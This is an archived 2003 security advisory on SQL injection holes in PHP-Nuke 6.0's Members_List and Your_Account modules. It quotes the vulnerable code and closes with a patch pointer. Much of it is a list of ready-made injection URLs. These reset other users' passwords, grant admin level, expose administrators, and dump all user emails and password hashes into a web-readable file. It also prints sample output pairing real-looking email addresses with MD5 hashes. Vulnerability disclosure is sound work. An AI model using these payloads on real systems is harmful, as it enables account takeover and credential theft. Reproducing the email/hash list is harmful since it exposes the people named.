TUCoPS :: Web :: PHP :: sb6045.htm

PHP-Nuke Serious SQL Injection Security Holes
6th Mar 2003 [SBWID-6045]
COMMAND

	PHP-Nuke Serious SQL Injection Security Holes

SYSTEMS AFFECTED

	PHP-Nuke 6.0 (& 6.5?), Modules : Members_List, Your_Account

PROBLEM

	In Frog Man (frog-m@n] advisory :
	
	 http://www.frog-man.org/tutos/PHP-Nuke6.0-Members_List-Your_Account.txt
	
	
	PHP Configuration : This will work if magic_quotes_gpc=OFF.
	
	
	 PHP Code/Location :
	 °°°°°°°°°°°°°°°°°°°
	
	/modules/Members_List/index.php :
	
	------------------------------------------------------------------------
	[...]
	        $count = "SELECT COUNT(uid) AS total FROM ".$user_prefix."_users ";
	        $select = "select uid, name, uname, femail, url from 
	".$user_prefix."_users ";
		$where = "where uname != 'Anonymous' ";
	
		if ( ( $letter != "Other" ) AND ( $letter != "All" ) ) {
	            $where .= "AND uname like '".$letter."%' ";
	
	        } else if ( ( $letter == "Other" ) AND ( $letter != "All" ) ) {
	            $where .= "AND uname REGEXP \"^\[1-9]\" ";
	
	        } else {
	            $where .= "";
	        }
	        $sort = "order by $sortby";
	        $limit = " ASC LIMIT ".$min.", ".$max;
	
	        $count_result = sql_query($count.$where, $dbi);
	        $num_rows_per_order = mysql_result($count_result,0,0);
	
	        $result = sql_query($select.$where.$sort.$limit, $dbi) or die();
	
	
	        echo "<br>";
	        if ( $letter != "front" ) {
	            echo "<table width=\"100%\" border=\"0\" 
	cellspacing=\"1\"><tr>\n";
	            echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><b>"._NICKNAME."</b></td>\n";
	            echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><b>"._REALNAME."</b></td>\n";
	            echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><b>"._EMAIL."</b></td>\n";
	            echo "<td BGCOLOR=\"$bgcolor4\" align=\"center\"><b>"._URL."</b></td>\n";
	            $cols = 4;
	[...]
	------------------------------------------------------------------------
	
	
	/modules/Your_Account/index.php :
	
	------------------------------------------------------------------------
	switch($op) {
	[...]
	    case "mailpasswd":
		mail_password($uname, $code);
		break;
	
	    case "userinfo":
		userinfo($uname, $bypass, $hid, $url);
		break;
	
	    case "login":
		login($uname, $pass);
		break;
	[...]
	    case "saveuser":
		saveuser($uid, $realname, $uname, $email, $femail, $url, $pass, $vpass, 
	$bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest, 
	$user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter);
		break;
	[...]
	    case "savehome":
		savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast, 
	$popmeson);
		break;
	
	    case "savetheme":
		savetheme($uid, $theme);
		break;
	[...]
	    case "savecomm":
		savecomm($uid, $uname, $umode, $uorder, $thold, $noscore, $commentmax);
		break;
	[...]
	}
	------------------------------------------------------------------------
	
	
	/modules/Your_Account/index.php :
	
	------------------------------------------------------------------------
	[...]
	function saveuser($uid, $realname, $uname, $email, $femail, $url, $pass, 
	$vpass, $bio, $user_avatar, $user_icq, $user_occ, $user_from, $user_intrest, 
	$user_sig, $user_aim, $user_yim, $user_msnm, $attach, $newsletter) {
	    global $user, $cookie, $userinfo, $EditedMessage, $user_prefix, $dbi, 
	$module_name;
	    cookiedecode($user);
	    $check = $cookie[1];
	    $check2 = $cookie[2];
	    $result = sql_query("select uid, pass from ".$user_prefix."_users where 
	uname='$check'", $dbi);
	    list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
	    if (($uid == $vuid) AND ($check2 == $ccpass)) {
		if (!eregi("http://", $url)) {
		    $url = "http://$url";
		}
		if ((isset($pass)) && ("$pass" != "$vpass")) {
		    echo "<center>"._PASSDIFFERENT."</center>";
		} elseif (($pass != "") && (strlen($pass) < $minpass)) {
		    echo "<center>"._YOUPASSMUSTBE." <b>$minpass</b> 
	"._CHARLONG."</center>";
		} else {
		    if ($bio) { filter_text($bio); $bio = $EditedMessage; $bio = 
	FixQuotes($bio); }
		    if ($pass != "") {
			cookiedecode($user);
			sql_query("LOCK TABLES ".$user_prefix."_users WRITE", $dbi);
			$pass = md5($pass);
			sql_query("update ".$user_prefix."_users set name='$realname', 
	email='$email', femail='$femail', url='$url', pass='$pass', bio='$bio' , 
	user_avatar='$user_avatar', user_icq='$user_icq', user_occ='$user_occ', 
	user_from='$user_from', user_intrest='$user_intrest', user_sig='$user_sig', 
	user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', 
	newsletter='$newsletter' where uid='$uid'", $dbi);
			$result = sql_query("select uid, uname, pass, storynum, umode, uorder, 
	thold, noscore, ublockon, theme from ".$user_prefix."_users where 
	uname='$uname' and pass='$pass'", $dbi);
			if(sql_num_rows($result, $dbi)==1) {
			    $userinfo = sql_fetch_array($result, $dbi);
			    
	docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
			} else {
			    echo "<center>"._SOMETHINGWRONG."</center><br>";
			}
			sql_query("UNLOCK TABLES", $dbi);
		    } else {
			sql_query("update ".$user_prefix."_users set name='$realname', 
	email='$email', femail='$femail', url='$url', bio='$bio', 
	user_avatar='$user_avatar', user_icq='$user_icq', user_occ='$user_occ', 
	user_from='$user_from', user_intrest='$user_intrest', user_sig='$user_sig', 
	user_aim='$user_aim', user_yim='$user_yim', user_msnm='$user_msnm', 
	newsletter='$newsletter' where uid='$uid'", $dbi);
		    if ($attach) {
			$a = 1;
		    } else {
			$a = 0;
		    }
		    }
		    Header("Location: modules.php?name=$module_name");
		}
	    }
	}
	[...]
	function savehome($uid, $uname, $storynum, $ublockon, $ublock, $broadcast, 
	$popmeson) {
	    global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name;
	    cookiedecode($user);
	    $check = $cookie[1];
	    $check2 = $cookie[2];
	    $result = sql_query("select uid, pass from ".$user_prefix."_users where 
	uname='$check'", $dbi);
	    list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
	    if (($uid == $vuid) AND ($check2 == $ccpass)) {
		if(isset($ublockon)) $ublockon=1; else $ublockon=0;
		$ublock = FixQuotes($ublock);
		sql_query("update ".$user_prefix."_users set storynum='$storynum', 
	ublockon='$ublockon', ublock='$ublock', broadcast='$broadcast', 
	popmeson='$popmeson' where uid='$uid'", $dbi);
		getusrinfo($user);
		docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
		Header("Location: modules.php?name=$module_name");
	    }
	}
	
	function savetheme($uid, $theme) {
	    global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name;
	    cookiedecode($user);
	    $check = $cookie[1];
	    $check2 = $cookie[2];
	    $result = sql_query("select uid, pass from ".$user_prefix."_users where 
	uname='$check'", $dbi);
	    list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
	    if (($uid == $vuid) AND ($check2 == $ccpass)) {
		sql_query("update ".$user_prefix."_users set theme='$theme' where 
	uid='$uid'", $dbi);
		getusrinfo($user);
		docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
		Header("Location: modules.php?name=$module_name&theme=$theme");
	    }
	}
	[...]
	function savecomm($uid, $uname, $umode, $uorder, $thold, $noscore, 
	$commentmax) {
	    global $user, $cookie, $userinfo, $user_prefix, $dbi, $module_name;
	    cookiedecode($user);
	    $check = $cookie[1];
	    $check2 = $cookie[2];
	    $result = sql_query("select uid, pass from ".$user_prefix."_users where 
	uname='$check'", $dbi);
	    list($vuid, $ccpass) = sql_fetch_row($result, $dbi);
	    if (($uid == $vuid) AND ($check2 == $ccpass)) {
		if(isset($noscore)) $noscore=1; else $noscore=0;
		sql_query("update ".$user_prefix."_users set umode='$umode', 
	uorder='$uorder', thold='$thold', noscore='$noscore', 
	commentmax='$commentmax' where uid='$uid'", $dbi);
		getusrinfo($user);
		docookie($userinfo[uid],$userinfo[uname],$userinfo[pass],$userinfo[storynum],$userinfo[umode],$userinfo[uorder],$userinfo[thold],$userinfo[noscore],$userinfo[ublockon],$userinfo[theme],$userinfo[commentmax]);
		Header("Location: modules.php?name=$module_name");
	    }
	}
	[...]
	------------------------------------------------------------------------
	
	
	
	/modules/Your_Account/index.php :
	
	------------------------------------------------------------------------
	[...]
	function mail_password($uname, $code) {
	    global $sitename, $adminmail, $nukeurl, $user_prefix, $dbi, 
	$module_name;
	    $result = sql_query("select email, pass from ".$user_prefix."_users 
	where (uname='$uname')", $dbi);
	    if(!$result) {
		include("header.php");
		OpenTable();
		echo "<center>"._SORRYNOUSERINFO."</center>";
		CloseTable();
		include("footer.php");
	[...]
	------------------------------------------------------------------------
	
	
	------------------------------------------------------------------------
	[...]
	function userinfo($uname, $bypass=0, $hid=0, $url=0) {
	    global $user, $cookie, $sitename, $prefix, $user_prefix, $dbi, $admin, 
	$broadcast_msg, $my_headlines, $module_name;
	    $result = sql_query("select uid, femail, url, bio, user_avatar, 
	user_icq, user_aim, user_yim, user_msnm, user_from, user_occ, user_intrest, 
	user_sig, pass, newsletter from ".$user_prefix."_users where 
	uname='$uname'", $dbi);
	    $userinfo = sql_fetch_array($result, $dbi);
	[...]
	------------------------------------------------------------------------
	
	
	
	------------------------------------------------------------------------
	[...]
	function login($uname, $pass) {
	    global $setinfo, $user_prefix, $dbi, $module_name;
	    $result = sql_query("select pass, uid, storynum, umode, uorder, thold, 
	noscore, ublockon, theme, commentmax from ".$user_prefix."_users where 
	uname='$uname'", $dbi);
	    $setinfo = sql_fetch_array($result, $dbi);
	[...]
	}
	[...]
	------------------------------------------------------------------------
	
	
	 Exploits :
	 °°°°°°°°°°
	Members_List :
	
	- Show users (order by crypted pass) :
	 
	 http://[target]/modules.php?name=Members_List&letter=All&sortby=pass
	
	- Show users (order by UID) :
	
	 http://[target]/modules.php?name=Members_List&letter=All&sortby=uid
	
	- Show moderators :
	
	 http://[target]/modules.php?name=Members_List&letter='%20OR%20user_level='2'/*
	
	- Show administrators :
	
	 http://[target]/modules.php?name=Members_List&letter='%20OR%20user_level='4'/*
	
	- Show all users having a crypted pass beginning with 'abc' :
	 http://[target]/modules.php?name=Members_List&letter='%20OR%20pass%20LIKE%20'abc%25'/*
	
	- Etc...
	
	
	Your_Account :
	
	- Change the name of 'Admin' user into "hophophop" :
	
	 http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',name='Hophophop'%20where%20uname='Admin'/*&uid=[OUR_UID]
	
	- Change the Bob's password INTO md5_decrypted
	
	'd41d8cd98f00b204e9800998ecf8427e' :
	
	http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=saveuser&realname=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=saveuser&email=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=savehome&storynum=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=savehome&ublockon=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=savecomm&umode=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=savecomm&thold=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='Bob'/*&uid=[OUR_UID]
	
	
	or...or... and or again :p
	
	
	- Change our own user account level into admin level :
	
	http://[target]/modules.php?name=Your_Account&op=savetheme&theme=',user_level='4&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=saveuser&femail=',user_level='4&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=saveuser&url=http://',user_level='4&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=savehome&broadcast=',user_level='4&uid=[OUR_UID]
	or :
	http://[target]/modules.php?name=Your_Account&op=savecomm&uorder=',user_level='4&uid=[OUR_UID]
	or etc...
	
	
	- Save all users' email & crypted password into
	
	http://[target]/AllMailPass.txt :
	
	http://[target]/modules.php?name=Your_Account&op=mailpasswd&uname=')%20OR%201=1%20INTO%20OUTFILE%20'/[path/to/site]/AllMailPass.txt'/*
	
	It will give in http://[target]/AllMailPass.txt anything like :
	--------------------------------------------------------
	chaeyut@yahoo.com	a34e83e6658923ceb100abb52cd31df6
	for-ever@yahoo.com	5728cea4924d9097c78d08165ad1dd8a
	runbur@netzero.com	546fa9501a436d4615b798f856386ba8
	venom@yahoo.com		614edfbc874f09d75b98240295a8f39f
	gotchakd@yahoo.de	fbd125e74581979d2b7fc6e2b360e286
	cfischer@mindspring.com	9407c826d8e3c07ad37cb2d13d1cb641
	mike@xiradio.com	f9ac6b05beccb0fc5837b6a7fef4c1d3
	mikdif@yahoo.com	6106edf3e22b0cd8609fa1112d0ae962
	mcurry@hotmail.com	739897be3e14cf5a9fb032069f522b77
	--------------------------------------------------------
	
	(crypted password can be sent by cookie to access to the account).
	
	
	- Save the informations about users wich have an  uid  between  190  and
	196 into http://[target]/1.txt :
	
	http://[target]/modules.php?name=Your_Account&op=userinfo&uname='%20OR%20uid>190%20AND%20uid<196%20INTO%20OUTFILE%20'/[path/to/site]/1.txt
	
	
	-   Save   all   informations   about   admins,   moderators,...    into
	http://[target]/admintxt :
	
	http://[target]/modules.php?name=Your_Account&op=login&uname='%20OR%user_level>1%20INTO%20OUTFILE%20'/[path/to/site]/admin.txt
	
	
	etc etc ... !
	
	[path/to/site]     can     be      found      (for      example)      on
	http://[target]/modules/Forums/bb_smilies.php (Path Disclosure  Security
	Hole).

SOLUTION

	A patch has been created and published on http://www.phpsecure.info

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